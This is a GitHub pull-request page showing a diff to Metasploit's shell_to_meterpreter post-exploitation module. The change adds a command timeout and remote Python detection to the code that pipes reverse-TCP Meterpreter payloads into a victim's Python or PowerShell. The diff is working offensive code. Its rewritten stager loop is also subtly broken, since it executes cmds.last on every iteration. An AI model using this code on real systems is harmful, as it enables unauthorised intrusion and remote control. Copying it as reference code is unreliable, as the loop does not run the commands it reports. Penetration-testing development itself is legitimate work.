Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix timeout of duplicated sessions #16621

Merged
Merged
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
62 changes: 44 additions & 18 deletions modules/post/multi/manage/shell_to_meterpreter.rb
Original file line number Diff line number Diff line change
Expand Up @@ -45,11 +45,17 @@ def initialize(info = {})
OptString.new('BOURNE_PATH',
[false, 'Remote path to drop binary']),
OptString.new('BOURNE_FILE',
[false, 'Remote filename to use for dropped binary'])
[false, 'Remote filename to use for dropped binary']),
OptInt.new('COMMAND_TIMEOUT',
[true, 'How long to wait (in seconds) for a result when executing a command on the remote machine.', 15]),
])
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
end

def command_timeout
datastore['COMMAND_TIMEOUT']
end

# Run method for when run command is issued
def run
print_status("Upgrading session ID: #{datastore['SESSION']}")
Expand Down Expand Up @@ -118,7 +124,7 @@ def run
lplat = [Msf::Platform::OSX]
larch = [ARCH_X64]
vprint_status('Platform: OS X')
elsif cmd_exec('python -V 2>&1') =~ /Python (2|3)\.(\d)/
elsif remote_python_binary
# Generic fallback for OSX, Solaris, Linux/ARM
platform = 'python'
payload_name = 'python/meterpreter/reverse_tcp'
Expand Down Expand Up @@ -176,7 +182,7 @@ def run
cmd_exec("echo. | #{cmd_psh_payload(payload_data, psh_arch, psh_opts)}")
else
psh_opts[:remove_comspec] = true
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, 15, { 'Channelized' => false })
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, command_timeout, { 'Channelized' => false })
end
else
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
Expand All @@ -186,11 +192,11 @@ def run
end
when 'python'
vprint_status('Transfer method: Python')
cmd_exec("echo \"#{payload_data}\" | python")
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary}", nil, command_timeout, { 'Channelized' => false })
when 'osx'
vprint_status('Transfer method: Python [OSX]')
payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload_data, {})
cmd_exec("echo \"#{payload_data}\" | python & disown")
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary} & disown", nil, command_timeout, { 'Channelized' => false })
else
vprint_status('Transfer method: Bourne shell [fallback]')
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
Expand All @@ -204,6 +210,21 @@ def run
return nil
end

#
# Get the Python binary from the remote machine, if any, by running
# a series of channelized `cmd_exec` calls.
# @return String/nil A string if a Python binary can be found, else nil.
#
def remote_python_binary
python_exists_regex = /Python (2|3)\.(\d)/
sjanusz-r7 marked this conversation as resolved.
Show resolved Hide resolved
sjanusz-r7 marked this conversation as resolved.
Show resolved Hide resolved
# We could cache these values
return 'python' if cmd_exec('python -V 2>&1') =~ python_exists_regex
return 'python2' if cmd_exec('python2 -V 2>&1') =~ python_exists_regex
return 'python3' if cmd_exec('python3 -V 2>&1') =~ python_exists_regex
sjanusz-r7 marked this conversation as resolved.
Show resolved Hide resolved

nil
end

def transmit_payload(exe, platform)
#
# Generate the stager command array
Expand Down Expand Up @@ -249,22 +270,27 @@ def transmit_payload(exe, platform)
#
sent = 0
aborted = false
cmds.each do |cmd|
ret = cmd_exec(cmd)
if !ret
aborted = true
else
ret.strip!
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
end
if aborted
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
break
cmds.each.with_index do |cmd, i|
# The last command should be fire-and-forget, otherwise issues occur where the original session waits
# for an unlimited amount of time for the newly spawned session to exit.
wait_for_cmd_result = i + 1 < cmds.length
# Note that non-channelized cmd_exec calls currently return an empty string
ret = cmd_exec(cmds.last, nil, command_timeout, { 'Channelized' => wait_for_cmd_result })
if wait_for_cmd_result
if !ret
aborted = true
else
ret.strip!
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
end
if aborted
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
break
end
end

sent += cmd.length

progress(total_bytes, sent)
end
rescue ::Interrupt
Expand Down